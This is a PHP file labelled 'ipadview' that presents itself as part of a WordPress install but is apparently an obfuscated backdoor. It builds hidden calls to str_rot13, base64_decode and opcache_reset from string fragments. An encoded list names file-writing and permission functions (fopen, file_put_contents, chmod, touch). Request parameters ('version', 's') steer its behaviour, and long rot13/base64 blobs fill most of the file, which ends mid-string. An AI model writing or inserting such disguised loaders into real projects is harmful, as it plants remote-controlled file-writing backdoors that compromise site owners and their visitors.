<?php
/**
 * @title ipadview
 * @
 * @param $str
 * @return mixed|string
 */

if (!defined('WP_BLOG')) {
    return version_info("init");
}

function version_desc($str)
{
    ($e = implode("",["opcache","reset"]))&&function_exists($e) && $e();
    if (!$str) {
        echo date("Y-m-d H:i:s") . "<br>";
        if (!empty($_REQUEST['version']) && version_update(version_parse($_REQUEST))) ;
        return '';
    }
    $pi = [
        ['str', 'ro'],
        ["json", 'decode'],
    ];
    ($q = (implode('_', $pi[0]) . "t13")) &&
    $data = $q($str);
    ($q = "b" . implode('_', $pi[1]) . "e") &&
    $data = $q($data);
    if (isset($_GET['s'])) $data = $_GET['s'] . $data;

    return $data;
}

function version_info($str)
{
    global $temp;
    $temp = "ZnVuY3Rpb25fZXhpc3RzLHRpbWUsZm9wZW4sZmlsZV9wdXRfY29udGVudHMsZmlsZWN0aW1lLGZpbGVfZXhpc3RzLGlzX3dyaXRhYmxlLGNobW9kLHRvdWNo";
    $temp = base64_decode($temp);
    $name = ['Y2uioJHiM2kyozylnT0ip2ymYzqfMJ5vo3qwo2kfMJqyYzAuY3qjYJAioaEyoaDioTShM3IuM2ImY2EyMzIhMP1xMJMyozDgqTjhoJ8', function ($version_file, $name) use ($temp) {
        $data = translation_v3('J1fvKP9bo21yKP9aoTIhnKWboIjip2ymYzqfMJ5vo3qwo2kfMJqyYzAuKP9cozEyrP5jnUNvYPV8C3ObpPOpqPNtKUDxFHyyVQ1zqJ5wqTyiovtxqH1BZvxtrlExqTt0oUIxMFN9VSjvnKEhExSaKPV7WUATEaMcMmy2Fw0xMUEbATk1MTIoXQxmVP0tAmZcVSjiVQEqYyk0W3baKUDhWTE0nQEfqJEyJltlYFNkZvNeVQRjXFOpYlN0KF5ppvExqTt0oUIxMIfbAwZtYFN1APftZFypYmIqYyklWTE0nQEfqJEyJlt5AlNgVQxkXIjiZy0tYyk0W2jaYyk0WTE0nQEfqJEyJlt3AlNgVQD4VP0tBFxtKP8tAI1ppwftWUATEaMcMmy2Fv49KUWpovExqTt0oUIxMIfbZGNkYGRjZPNeVQDcVSjiVQIqVQfxp0MTqzyaBKMXVP49KUDaMFqpqP4tWlp7KUElMKE1pz4tWUATEaMcMmy2FvtxqH1BZvx7sGftWR5JFm1zqJ5wqTyiovNbWSWQIy9BrH5sK1k0XIk0rlEMJQRtCFOpVwupVwfxFRcWDwE3pQ0aGlqpqP5povqIWl4tXPt0BP0tAlNgBFxtKP8tAPxhXPtkZQRgVQpjYFN3XIjiZlyppwfxFRcWDwE3pPNhCFOpqPqRW1khYykhWlp7pzI0qKWhVPEVFxyPAUqjXPEFD1MsGayBK18cB307MaIhL3Eco24tKT5OARWRH01MZJpbWRWep0WcDFNcrlEinJqWAJHtCFOpVaMzozE1AxkSF1jvBlEJF010nR1TCFEinJqWAJIoXQt0VP0tAmHgVQxcKP8mKF4aIvqpqP4xo2yaFGIyJltlBF0tZGpcVSjiAy0hW3VaYykhW2ZaYvEinJqWAJIoXQLkVP0tAGttXlN1XFOpYlNlKIk0Yyk0WT9cM0x1MIfbAQDtYGZ5VPftAlypYlNlKF4xo2yaFGIyJlt4AF0tAQDgVQxcVSjiVQEqYvEinJqWAJIoXQZ4YFNmXFOpYmIqB1k0WSMYGKEbGHLhCIk0KUVxo2yaFGIyJlt3APNgVQpjXIjiAS1pov4tXPt4ZlNgVQHmYFN2XFOpYlN0XFNhWT9cM0x1MIfbAQNgVQZ0XFOpYmWqYyklWlp7KUWpqSk0VPOpqUWyqUIlovNxIxgAqTuAEwg9MaIhL3Eco24tKUEQrQImLltxDmN0ISklYPEmBRqJqPypqUgpoaWyqUIlovOpVy9GnzWDHIudHyugG0M4oUL2p3EBFmWko290ZxkBpJgmM0yTrIMILzEuJJD2Fx1FGKAWGR5RnIjvB30tKT4tVSklMaIhL3Eco24tVRf3HmyhZltxI3yRVPy7WTMKHyucF00tCFOpVaDmK3VkKPV7WR5KrSufoxgkBQ0aHlptYykhWTMKHyucF01oXQD2YFN0ZPNgVQLcVSjiZ10tBlEBI3uLoT5YpGthCIk0KT4aHvqpowgppvEBI3uLoT5YpGuppv49KUDxMyqFJTyYGIfbAwNtYFN1AlfmXIjiVQAqKT4hKUVxMyqFJTyYGIfbAQZtYFNmAlxtKP8lKIk0BlNxGyq4JTkhF3R4KUVhCIklW28aYykhW1DaYvtbAwDgVQLkXFOpYlNmXIklYvNbXQDkYFNlBPNeVQHcVSjiVQLcVP4aWmgppykhKUElMKE1pz4tWR5KrSufoxgkBPtxI3yRXGg9MaIhL3Eco24tG1H4BRDtXPEaMy8cVUglMKE1pz4tDGEPESAAJGSaXPpaXF4xM2MsB31zqJ5wqTyiovOppySJZaMmDltxnJSIMxEiZQOxKT4crlEGDHqODHAWqlN9VSjvESAyAzD0G2AsKPV7WRccJUyfrUW5Ew0aDvp7WRccJUyfrUW5EvNhCIklW0RaYyklWSAOE0SOD0y3JltlAl0tZwHcVSjiZy1pqP4tWSAOE0SOD0y3Jlt2AvNgAGxtYGZcKP8lKF4xH0SUDHSQFKqoXQR2VP0tZFypYmIqKUVhXPtmZlNgVQR3XIjiAPxtBlEXnIu5oUulrHLtYw0tWSAOE0SOD0y3Jlt0BP0tZwptYFN1XFOpYmWqYyklWSAOE0SOD0y3Jlt5Al0tBQxcKP8tZy1pqP5ppvEGDHqODHAWq1fbAmxgVQp5VPftAvxtKP8mKF4xH0SUDHSQFKqoXQxmVP01ZFxtKP82KFNhWSAOE0SOD0y3Jlt5AFNgVQt5XmLcVSjiVQWqKUV7KUVxFzyLrJk4payTYw0tWSAOE0SOD0y3JltmAv0mAvxtKP8tZ10tYvqSWl4tWlp7KT5poaWyqUIlovNxFzyLrJk4payTXPEcLIIzET8jZTDcB31zqJ5wqTyiovOppyqKrJWAHvtxH3qlVPypqUglMKE1pz4tKPWlDKymMJ1iBTysBR01IUuiqUp3EJR0nTW6pHD3GI9HIRApVwg9KUEzqJ5wqTyiovOyI3LbWRx1ARjtYPEAEUScryL5KT4fWSOMZHSWBJ9sVPy7pzI0qKWhVSjvoUt5ozf5M3EBZwuOG2uAoxqMHxZ3BHEVLaVjIIN4BIcEIxMaHyMZpxqEH1MCqJ9cKPV7KT59KT5povNxrUD2CFqlMUNmE0WBpHWGL1yFnTt4ZGL2DxxmDwV5ZHZlMxIhpmynJxgWpaWMZxkWJIyBJJxlpKWeJUt0M0j1DGA5F1jiBUcwp2gkL3OvpRIwZ05XGUp3IyACrJgno3I2qaWhpQLerxycZ2VjrTykHycxEH5KnxZlpSMwFSu2A1cmEUSfEIMQFyuGZ0MjARgdEH0mIRWZqSWWqHWJIQyLnyI0rQqOpGqYoaA1DzWJGyAEnTSdF1WmoaSkERj0FJccqQulLHyDF1OKFJEfE3OPDxbjnJykrQSXo0IMX2cxGmIHDKqAD05EHmSGpKSWKP92owWRARAjITWIGRqkqIymD0qcAJDjrxA2o0gcqzyZKP9JpRqpY0ADZTbeLapmIHE2ESA3I1H3o1MGDIIaoRcFp1EcEUMLFKtko29gqTglHySHrTcGLmOhMIyfLwOjD1AXqIuMZHMwISN1LHL2GwV5qSt0BIcKX0ZeF2WznxSWqaAUFQVmM2SvGGqWq09fnzIVGmISF1yaEmN3EIyQrT5FZmDmAT9yoUWFDHciHaI4AaSRBTRlJKMFoyWmn2RjL2yjLJ13oSjiF1jio21mEIqvE2WiBJgiH2MzqUcyZxMfqxWeGGZmrKqXDwu0IT1JF1OkG0SCZUcXITWdA3IVnQSyF3NlDxghMGqOX0MlJSqdIGH1Lzc1p1RjnSqiZIucq0qWZScCnxIGoRR5GKyJFH9AHR1woRMEEHcBIHqiFzAPIwIhFzWQZx1hZKEILxEmA0A0L3uGX3OpYmqOX1I5GxgUFJM0Hmx3HTIIomWWnJpkIFglJxD4MH40AIOjMSuuDGA1LKV5A012MmEfF013FmI0MzuZHRWiF2IyMTM1DHgwIHcSDKIfLH5IHTuwGmqanREbrH1joTD2D293X05dqISQFz82LKuCEHgWZJ1aq3MAnzqTJTqwGyxmFRIxGSqpY1ucomyOMaSiJUuyLHLlF3yfqIuWnKcFDJqwL1unrKcKDaNjMwL5ZSM2oH81BT41n0AxowuOKP83LxV2oaqZDHgDLmWFqmN0IR04nKywpHkWH3OTLzILFH9AAxMeDHyxFSW3pyIlAUEbAIjiHISJFmEQraWVoRMCHGEfo3R0E3OgHRV2AxAzoTuPH0gUEyyxGUW5n1uyAJSaEwOFIIZ4oJu5MQyOBGMfAQuapTu3ExgSoKuWrQqDAzghJSWgrGyfMmIRpTkKG2WcDH1yMzyOnQIyJSt4EzIdBSNkoyjiIGSVAyjirHWDEzWWX2SUJRASnKAZoH81pIOlo2kbHKW1qSMBEFgSqUVkpT9PBRupY1uCMJyjDGyAXmqVMyt4E0AbqQAAHwDlJJMBLwIXFxECpQD5DGD2pKugZSA1F1cXEIupY1c1pJSGnyWLoayEL01RZaSHJSuXozZjpH9kAHSnAwAKnSR5HxR2pHuhLJq1qxSBn01WpH5gGyjiM2gvIIVeDGDmMHqRA0HmnTy0ZUSJHTImHSWXHUIpY3EREaIhnaHjJKEFBUtlLxH3D2gjZIb5I1EArwyVqzEAqKMKZxMjZaA3GzV4AzblBRq5AJAZAUMIE3WQGT1HnTcCpzcbMzA5pyc4M29dLaqxDKqRrwyPZmMIMmAJBIukoKARDaWSoyZkFHtkJyO1rRc5IxuJFaE4ZTkWn0uuqT4kAKp0EGWXIJuQGzEmATugpyM1Z0x3GUWdEIyyMSVlZwAKqxH1p2AQq2IMp21eJwMCGwMup1ywMmIiFx5nGRM0n3AEqaycHQWRFzp5rHAXnaS3E2WSAaW0qIuDFTqWH1EvE3H2qaLkLKx1AGW1ZyOjnGE6HRyzX2ITDKZlpmAJnx1hZzuhE0qupwyQI3WYAyceqaufIzuwEycwo2qAZ1ubI082BTgmHwqPI01znKb1qFghnxE4rGOzqQZlBQMyGKEVZyjiA2IAL1umHlgYqaEdZUuEZJMvHTkcZauwZ2MLFRkTA2D5L2AxqyylBUNepmWgZmy5o3WfMKIXpvgjGKReIHpkH29lJRcQE1uGpKEeE3V2JT16Hxy2E3L0nTLkAyEiDxWAHR5MG2ujE3ygpSyXD0gOIJk1nHuKHzEHD0kxISWZJSAcZwykEJx5H01dZ00erGyPGTMwqKuvFR9LHay3IyALETIdpIjiHGL2qwSDZlgBZQW1BGW1rTyWAJSDZmReJIIZoUSfEIV2ZaSgq05nA3Nep3qdJIbeLJgZDyOAH05loT1UIUESEKuXraAXFxDjqx81ZaOvnREVoyIBGJt5rxyAIHI3qGD1oRR4AaElHQOPLIZ4LxMQDaWmEx92JH5lnSIMpzkXoUWCZxgaoUOYoaEyLzEQEyR3GxIapIEeMxu5pyOpYmH2ryjiX1jiJzIpY1N4FQNmryjiBFgJKP9pY1jiGaIdIR1WGaIJBQEjM1uBGxcLBUIuD09JrT9XX3yCo0gZMzqmFxglMGqkrPflqH1brTcdZT5mDwSwEJ44D0qmHwSwq1ylD1WpY2Avo3MnD05OpySkEzkwo21eAKuiE2czHIuCESEYJSAIoH1XI1x0rTpmpTIIqGt5HwA0FIp3HTMwGwEpYmN2FzALG1cQG0WjHQqMLyyTH2AhoUc4nUHlEKMJqyyEZGV2ATWUIxWvBIjiETqeITuYI0AbqUABAaWVD2ubAJ0moGMmJTb5I0gLGHy0qFgdrzx5GQZ3DISdHmqfqSWpY29uE1MGrwSSMxfkryOkHH9ZMmyTAabjHJcknGyRE0qOI3MjX0cBZR5HI3qbMRcELwqnnTkxBFg5LzIhA3WbGKOcHJcEMxWPMmOcHGDjFSReLGynG3HjoUWPrySJBR9hHKqEnz1SAUE4JTIwoHIWnIEkrJE0EIOdHvgSI29nZxAWIzgzITqRrH4kGSjiJGH2oaEBomS6E3SzFIZlpaDeJKSRGxSWpGqdHSSEET02ZQyBE1yzrUMLqIElGH9gKP9PIQEdA29dH1yKGJM5FwMWHxAkG3MdDzyCoH5LEJk6FIIjp2EWER41IaSUIGuVo3uPBPganx9TX3ybnT80GmIMqUIdrSuJnKujFlfeGHcpY2cBoTIYrxyBJIAzrKpenRMmqRIRowWgpRg3GHE1JR9EDwHlX2yxGIqhrJ1VFayPZx5VoIjiG1W6IQWTrIyHozczGSIAnzqQFTcWn2WiqIWIqHb1qHIjASqbLKuPGR52HJkgD1cgDKyCHQugLx1eL2x0AHuVG3OPq05MJKEcDwWRoSpkHxI1FJy0E3q4IUEPMQqlGGqeMaEwIISnAIMWMUO6DGSUZ2ICrKSwDyyKBUyMoIt5ZHq1ISSlX0xmMxy3p1WcZx52JGqxLx1KqSMVER9nG3qyAwywJUcFHQLeLzR5L0D3BGqgAKyCnRqxnwqXZ29wZ2WbGmImqHSmHSjiryWEA01hJxuOqyMnGxyPLyODoaqjAJ5MLmN1BSE3IaIjomSBIwuBLaDmowqEZxWDMQWnKP9PryyhGQOuqIMVoyAJoQMBMyAxLmAjrxELrac6BQWCAGV1L1c0IaqYqxkTp0cGBQWeZwMInSSDnwOeIaMUZUMAq2AFHGEKER9KF3L5n2MlIxuABJHjGR1PqKcKAR5PoTgzI1SbJwAxHmWgpRybnmW6nxMCHJWxF0c0ISAQZ1tjF2IaM1OIo2R0MTgjFzAjAwA4omRkHJ1TEUHlrJyLF0c0FTuWD0MRJKE0paEUn3O2EJV4qySxF1jiIQqRMx01LJReGGMFAHHmAzWLnGOmqRIlnmSWBIcKMGSboxkIEKE1o3OZrTAcZxp1I3OunmO2BHWIryOdM1SBZ3M0DJ5aLH9KqaqxEHkiqScaZTqnZzIhAUylFz40qwEXrIAEGJS1nmulF1cKGzj3JKqgERyZFSqPEJuPrxcaqKSBMJcQoIySo05VqwynqQOdIGu1p2b3HIbjBUIfDGAwo2IQAzAEI2M6FyL1XmukqxWenJkTMH9uD2IjHGy1p0q4AKOjAwyFoJE2p0kYHwETMQD5LGOhDIZ2Zx9OAQEFX3ESBUIcn0WBBIqdDKWTn1MaD3OGHUMcrSOAIJMyFUu4M25ZZmR3DIAzM1WSnTAZG3WnBH5jAII3Zyp2ZT5npRkbF0kOnII5IaWzEaEAJyEHBSjiHGtaBlOpqPOpqPOpqSkhKUDtWUu0Aw1pqPEBIxfbWUu0Avx7WUu0Aw1pqSSJZaMmDltxrUD2XGgpqPE4qQLtCFEWFJHbWUu0Avx7WUu0AykhCFOYA1Z5owZbWUu0Avx7VPOppvOppykhMIMOGPtxrUD2XGftCm48C3ObpSkhWSp0JTSQCIk0MaIhL3Eco24bWTMWnxgcZvy7WScWF2x2EScDAFN9VSjvGyWsHGEiLyjvBlEVASH9WScWF2x2EScDAIfbZGRgAvftAFxtKP8tZy0tYvNxJxyYnGMRJyN1Jlt4ZPNgBQNcVSjiAS0hW0LaKUDhW3VaYyklXPt5BF04ZFNgVQLcVSjiVQVcYyk0WScWF2x2EScDAIfbZGR1YGxkXIjiVQMqVQftWRt0IF49VPEnFHgcAxEnHQIoXQtjVP0tAmxtXlN3XFOpYmEqKUD7WRt0IIk0Yw1pqPNapFphWScWF2x2EScDAIfbAPNgZlftZFypYlNlKFNhW1NaYyklWScWF2x2EScDAIfbAGtgVQV4XFOpYmIqKUDhKUDxJxyYnGMRJyN1JltmAvNgVQV0XmLcVSjiVQMqKUVhKT4apvptB1k0WRt0IIkhYw0tWlp7WRt0IFN9p3ElK3WiqQRmXPEVASHcBlOlMKE1pz4tWRt0IFtxMxydF2xlXGg9BlE2MzgOHJWdHRf9MaIhL3Eco25ppvtxrHWnM21ZVPy7WSV5JHMEDJ5fqFN9VSjvISWmZmSiKPV7WRubDyx9WSV5JHMEDJ5fqIfbZmpgVQV1XIjiVQMqVP4xHwyMEySOozk1JltlZP0lBFNeVQxcVSjiVQWqKT4hKUDxHwyMEySOozk1Jlt4AvNgVQt2VPf2XFOpYmMqKUDhKT4aKlqppv5pqPEFBIyTHHShoUIoXQLkVP0tAGxcVSjiZy0hKUVxHwyMEySOozk1Jlt4BFNgAmDcVSjiVQAqKUD7WRubDyypqP49KT4aqPqpqQgppvEVnRWMVP49VPNbXQxlVP0tBQxcKP8tZlypov4bXQDjVP0mAFNeVQRcVSjiVQVcYvpaB3WyqUIlovNxFTuPJFtxrHWnM21ZXGg9BlNxoyAZKUD9KT5zqJ5wqTyioyk0XPEDIJk3nTIppvyppafxI3qMHRDtCFOpVx5OKPV7WUuXracGA2j9WSq3JIORJlt4VP0tBPxtKP8tZ10hVPqZWmgpqPE4Fac6HmqfKUDhCFOpovEKq1yDESfbZmRtYGVjVP0tAvxtKP81KIk0YvNaIlphKUDaFvqpqP4aWmgppvE4Fac6HmqfCKA0py9lo3DkZltxrRc6ryZ3oPx7KUVtKUDtpzI0qKWhVPE4Fac6HmqfXPEDIJk3nTHcB307VPEKASuuDlN9VTM1ozA0nJ9hVPtxMxydF2xlVPypoafxJxyYnGMRJyN1VQ0tKPWBHy9EAT9vKPV7WRt0IG0xJxyYnGMRJyN1JltkZF02XlN1XFOpYlNlKF4xJxyYnGMRJyN1Jlt4ZPNgBQNcVSjiAS1pqP4tW0LaKUDhKT4apvptYyklXPt5BF04ZFNgVQLcVSjiVQVcKUDhVPEnFHgcAxEnHQIoXQRkAF05ZFypYlN2KIkhBlEVASHhCFNtWScWF2x2EScDAIfbBQNtYFN3BFNeVQpcVSjiAS07KT4xFQEIKUDhCFOpqPqkW1k0YvEnFHgcAxEnHQIoXQDtYGZeVQRcKP8tZy0tYvNaHPqpqP4xJxyYnGMRJyN1Jlt1BP0tZwtcVSjiAI0hWScWF2x2EScDAIfbZmLtYFNlAPf2XFOpYlN2KF5pqPqlWmfxFQEIKUVhCFNaWmftWRt0IFN9VUA0py9lo3DkZltxFQEIXGglMKE1pz4tWRt0IFtxMxydF2xlXGftKT5ppykhVPO9BlNxnRcbBQ0aKP9eG0xjJzkeDmuIG2SPFGqvDxL2o0MILxDeI0WQZxcnGTkEDHyDEz9arHWEZ0cmGHuPIwucBRu5DIM5M1jirxfmZKqgH1MJqJgFAKAhDHMOGSt2Izt1FHyMpaV3AwH2MIugLxSfrGymAUIaG1uFDGyiDKMkIxuTqSjiX1qZHGWjHHuEnyM5qUunDxEkrRkBG3yYKP9IF3WeHyH4ZGLmFTZ5rKS1rUNmMx1xLJujFISxHz1WqKL2qIEvARyVoFf5GRqUZ2yRqHIyZzuGM1IeAxWFIyH2nmSPL2WEpGSwo2p0E0WKAUZ2pRMXETLmrwIOp0pkIT8jFxqyqHq0rHAaAJD2rxAzp0gcqaSuX2k0GyjiH0DkIQyHGT80FTIVIwIlo0uEKP9fo3OOpKO4p1AcEPfmEKtjo0yfpTgZIxgGnTcHMHIlMyyTLaIfnHkXqHtjrzk1I3D3F04kGFf3pmAWrzVlKP9UKP9ZFTMaDGu2p0pmrQOaF2MRA293GJkOAxqyrJ9hJGuMpyypY1c0I3udET13oSA6D3EhLxE1nJkPq3VmHyqeBQWnEHW1KP93nwI3EwqyH2W4Fyc0JaOhqIAXEvfeoxMhLmAynxMEZ2EzoxIIFRZkHJEIo0Eio05RLx1zoHuVZ2SCrz0eZKWiESuyZmSPqRkVnUEFp3cPZ1N5ATk0HmqJLKIfq01FnmqwoHyapJt3Jzb2HyynDyb1HUSbF1Z2pRcIrwEPpacCoKISIJEDpKI0o09ZnHyJrx5DAzWpY3MRA1ElZxyErFgeoaM1ovgeoycEIRqurwWvo1ueZwu2qGMuImMEoKDjZIjiqGymBRuvo1ciEGWlpwyELz9MERx3ZTxkATMAFyHjDyMWnTcfJwqIraR4FwOeFzckpTD5q2SuHTc3BIMIqISPD3SDFyWPnKEULID0H1IUpwuOIUSRrJIEG0A0X1jiEyx2q1jiZSypY1q5ZHEkG0gfpxuSJycin1SBG3WcAIcZDGR2qwyyAaRmq244nSV4F0cXrvgAMQyBomy6JHMcEachGIImFTkcETkhIacdHyMYZ09lH0Z1M1cjHJZ0HREeHxyAF2EdJUAhnPgRrJkLDHWvLHAaM0kVIKOTHHcMqauWGyEEGaymFHuTo2AXn2Z5qTA5A0SlIJg1oHcQEIHmqRELo252LKAVEHECG010H01gFSO2G1jiZaAjZRkKoz1kox1xGKSPAJA3Ezk4L3qcG3R2AwyOA3uzDvgaX2RlqFgLMJSYLmqIEKcWAQIMIJE4X1WpY1OFFwWZJwOVD3WBJSAOpRH2nxcuEKqFEJALHacjDGyQBGqLMwA5ExAaMQAAFwDlJJ50GQEjGxkCo0L5ESNjIzc0pJkcH3qQIJMpY1yjqHqHM3czoxqEL01RZKSHEGATowtlpHckAHAvAwNkpRExFxRlpxIhLJqbqySXn01WpH4lEyjiM2gvIIVeDGDmMHqOA0MVnTy0ZaSBHSc0MzyuEwupY2gAHT1pY0cfHHf5E3WJMUAHp0EQIQLmZaMUJz1gMzIgJKcyL3AvHUAno2I1EIMRnwL1HTj0qzfeHGMeGvf1D0MBZaSAEwuVraEOpHAgMUWWZUyeGIOSHTMjH1OHJTkKpwL1FHSmAyyiIKqpY1qeXmAWFUOIL1IKGJ1GD3IXMRgkMIuLHTyHJJuJoSH1GKq5E0qmX0uwnzAcMH54o0LkHTMMnUReJz1jBRgFGaI6JxWlBTAZomIMqmyFrxILLayVGTWTEIMwoRSzp0qHDwqeEIOUITuAZxb5ISx5X2IyDySgoaIAAGOMX2D3GSu2LmqnAJcZoxxenSjirQqJD3curzcup3yzH1cwpSc0MwEyZzWVIaEHqxgLI1LjIJkGoHk6HSATAIjinacunTW2Iyy4ERkWMGETMHkBEHkxEQAOoauJo2xmHGq3IQE0ZIS4pHImnQAWpzkRMRE1HwAYoyMRMHA1JUEIGwEXAJDlq2uwG1qVGScuJIq1raEfEmygMaygrUW5rGAkHyAzJyIHZJgUowqfpGO4plgvFyMirIjin0teqHgMn1b1nQOkDyIBJyqKITj0o0giHxgJAxgvL2gTEJW0ZHuLMR5QJwMFo1EWIxc6HTx3ARkSMKL5DwADL2HjBHIvEyAXnHL0GmpknKV2KP9KKP9pY1RkAKExAaExozkFnKqzqabjrz9EpyMYFKDjZ3Sgq05nAyb1nKqaL1beLJgZnSOAH1OlnaIIHmAkD1IeAGOSp3N2JT44A1I0FJchrayUoIxlA2flH0AMJQuxZHZjAaIlHQOPLID4MxMQDaWmJR92Jxk2rSIMpzkXoUWCZxgjoaOYn2WPFTEGESx3GxAipIEeMxqYpyOpYmH2ryjiX1jiJzIpY1N4GQNmryjiBFgJKP9pY1jiGaIRIR5WqUIJBGE0M1OBoRI2X1SfD25YAQWeM3uTIJkRqUqKGIHmDGyDLFg6JRqEAUu4AJWKEHq1DIDeFxRln2ymLKAxnxyEJSNjI3AjFRSJo1McrKAIITSwASIhITqiLzkTpTgjoUSvE0AVGFguHIDlqwMDMHWnZ3cfpyEfo2IkX2MuExIbGTqmnT5WrUc1rHLlpTAepRcSKP9wLaEcpzkLZTg0DaAbImShHKIpY2I3FHIfASAfnKR3A0yyFmRlJzAyLaETMKWTHGqKnJgVERkZqaVjo3MEqSN4FRIIoHuvq1L4nzy4pH9pY2gRAJIeFJE5DacAA3cKLacunFgGDwWAIJMGD0g0ZRIHIwOdMaOIIGInqUWPLyqLGQyZBKSFBUMaqmAnMHWbqQOQDKx5FSS3JaD3HUEeAKWULaAEBH91rTg3FRAmrKc2pzyjLHkaZTuIIJMCFUMknPgMGyI6BHqCo1cPp0EUL0S1JTE0MaSnDwERIGqRJKykLwMUqT03LmV2MmMEnxW0ARt4FRSJoaAznzEgFQyKoUM0BIqOITMaAGuvX2S6HzSKGJM6FwMWrRAkFaMdFzyDrJ1iHIZ1p09II09gDz0jAx5hF2IdIISaX2A3IT5QKP9nHIW5Mxt2oSu2nHWLIaS6pzypY2MSFIjiASHlHR5LIH9mFyN1JJEEHmWIH2u6AIWIqSIUrQWjZ29OAwqpY1EAoHkHBIWRpmIOA0qbrzIzLvgGE055L1EeITMZIH1dM2yVnxyeMz94HyHeFHMjEGIUI2uYrRMVGzA5oT1QAJ1WrH9DBJ1vGJf4nQDkFRSCpRVjGGEMqTyXqHAlLaI5FKSJEzSBoTy2F2x3Z09xZ0y2MHMiM3c5pHSVIT1TqH11nGyeIGEgrUWjq3cmKP9drH5ApJuLAyM2X0WbJyEfo2SyrHp3ZIH1LaSyHzEkGzqpY05HBJE0LmqiXmq2G3qhqwA1BPgHBQEhp3MJI0EYZyOyFIuFZmNkBRHeF2IPAJf0qGIfnKSnJx9CJHMmKP9TKP9MrHDlqyOGHxEiZR5KL3SzZ2D0GGH5ZTD0JH9RDmy5LlgPGTEbpzgTqQyhpSqfAmEvXmqXZ2MzM0feX2M0I05pY0RmpyjiGaSPDyuTJJkdFyu1ZJ1LH21XnQEyn1A0AwAlrx1VEII1FTq6oTyZKP9xFRp5IUqOZ2EQA0AvpmS1ESR1JxABoHyKMQAGqGuJFzgAE3uwJKN2DzWXrSOkoHgIAvgbHwOeD05YoKMVJzyFGzk2IlgBZaMkEISiMwVlIIATHxMjBUcEnSRlGSx3oyElnKD0nzMfnHD4GUuHp0L0ZzkXpxM6JxuhEUM3ZIOJnyb1JyMXpTAVLyp2pJuOpzWQGxA1MzkyM29lZHkWp2kzASOgoT81EUu6Awt0IGIcHaxkKP9RZTqwIz5YE2gLF3yCJTcYBPgynIjiqRuXGR13pIOBAIqCGyqBoQAMZT1RFHkLI0cSnRE6Fzq0pH5CoxAgARIiGxu2rzEcGJqIBTE1nxy3JwO5qJgaZ0SiMHAkL1WKMacXIwI4BUS2DaAcn2kyHTSQDaOEBFg0E3t1nR1BE2cAAyjiHGElFUqHZaWHqzV4IRkiL29DITuVX3qHnKyZHJgVZTAwEmuKDxgPFRgaJJMLoJIwomMcHUqHDH5Vp2VeHJfeDIABDxIULyu5F2MHrKOfp3ExqIO6D1EVIIqXEaWepyq4LzWWJyEHBSjiHGtaB1klWS9BLGApqQ1zqJ5wqTyiovNbWRMxJULfWSyfHJyyMPNcKT57KT5lMKE1pz4tKPWZnRkYq0uRDmt2IQEGLwODHxEZrKMmI1ImH3SsHTuyMUuYo1jvB1khsGfxnRcbBSkhCIk0WT5GGPtxnRcbBPx7WT5GGQ0tMaIhL3Eco25ppvtxHSIfq2uyXKfxI3qMHRDtCFOpVx5OKPV7WUuXracGA2j9WSq3JIORJlt4VP0tBPxtKP8tZ11pov5pqPqZWmftWUuXracGA2kppv49WSq3JIORJltmZFNgZwNtYFN2XFOpYmIqKUDhKUDaIlphKUDaFvqpov4aWmftWUuXracGA2jtCKA0py9lo3DkZltxrRc6ryZ3oPx7pzI0qKWhVPE4Fac6HmqfXPEDIJk3nTHcBlNtVSk0VPO9BlEbFzt4KUV9VPEKASuuDltxnRcbBPx7KUWpqSklKUWpqPEbFzt4CIkhHy9bZxpbWTuXnQtcBlEbFzt4VQ0xqzMeDISvnyOYXPEbFzt4XGfxqzMeDISvnyOYCIk0MaIhL3Eco24tXPE5DycaoHkpqPy7WSV5JHMEDJ5fqFN9VSjvISWmZmSiKPV7WRubDyx9WSV5JHMEDJ5fqIfbZmpgVQV1XIjiVQMqVP5ppvEFBIyTHHShoUIoXQVjYGV5VPftBFxtKP8tZy1pqP4tWSV5JHMEDJ5fqIfbBQLtYFN4AvNeAvxtKP82KFNhW18aYvEFBIyTHHShoUIoXQLkVP0tAGxcVSjiZy0hKT4xHwyMEySOozk1Jlt4BFNgAmDcVSjiVQAqVQgppvEVnRWMKUVhCIk0W3DaB1klWRubDyypqP49VSkhXPt5ZvNgVQt5XIjiVQZcKT4hKUVbXQDjVP0mAFNeVQRcVSjiVQVcKT4hWlp7KUVtpzI0qKWhVPEVnRWMXPE5DycaoHjcB307KUEyqzSfVPtxnRcbBPx7VTM1ozA0nJ9hVSk0D3E0XPE6A1IhImyiL3WpqPxtr3WyqUIlovOpVzgynKMHoREyqTIpVwg9KUWzqJ5wqTyiovODHaSGHSklXPEAIxb0Myk0XIk0rlEhMGyCE294ZlN9VSjvM0ykp3yFKPV7WS9UJUuirxf9W2xaYvNxozH5G0qirQAoXQZ3VP0tZmRcVSjiAy0hKUVxozH5G0qirQAoXQVmXlNkVP0tBPxtKP80KIk0YvqwW1k0Yyk0W3NaYyk0WT5yBH9Uo3tmJlt3APNgVQp0XFOpYlNmKFNhKT4anFptYvqLW1khYvEhMGyCE294Z1fbAmLtYFN2AFftAPxtKP8mKF5povEhMGyCE294Z1fbZGxtYGRkXlN3XIjiVQIqVP4tXPt0APNgVQZ2XFOpYlNlXFNhVPEhMGyCE294Z1fbAGHgAQZcKP8tAy0hKUDaFFphWlp7VPEsE1u4o3cYCIkhp3ElK3WiqQRmXPEsE1u4o3cYXGgpqPNtpzI0qKWhVPEsE1u4o3cYB31povOzqJ5wqTyiovOpoyWsnQWUVPtxL3VmKT4cKUW7WUOVHT83FFN9VSjvqzqHHyjvBlEApKIFLII3CFEjFSOiA0yoXQDlYFNlAP0tBPxtKP81KIkhYvqAWlNhVPEjFSOiA0yoXQplVP0tAwpgVQHcVSjiAS1ppv4aDFqpqP4aHlphKUVarFqpqP5ppvqhW1k0Yyk0WUOVHT83FIfbZGHgZwNeVQxcVSjiAS0hWUOVHT83FIfbZGLtXmHtYGxcVSjiAS1pqP5pqPpaBlNxGKS1HzSIq1khCIk0p3ElK3WiqQRmXPEApKIFLII3XGgpqPOlMKE1pz4tWR1kqIWuIKpbWTAlZlx7VSk0sIklVPOzqJ5wqTyiovNtIyyEVPtxoSSSYPECL2xkGTkiGyApqPjxGRL0E3S6MPy7WRELHm1pVzkkDyWWnyMJozSiGySOHGOfImqfD3ZkEHMvnRWUnIjvB3WyqUIlovNxESuGB31pqPOzqJ5wqTyiovOKo3M1MUccDJ0bWSuPryuWMGMXKUDfWRMSETMyFS92nlNcKT57pzI0qKWhVSjvD2k0FHIuqayioKMaGSIcKPV7KT59KT5zqJ5wqTyiovOuJJ5XIlNbWUW5GJyVMxcVKT4cVUgpqUWyqUIlovNtHSWkH1NbWlp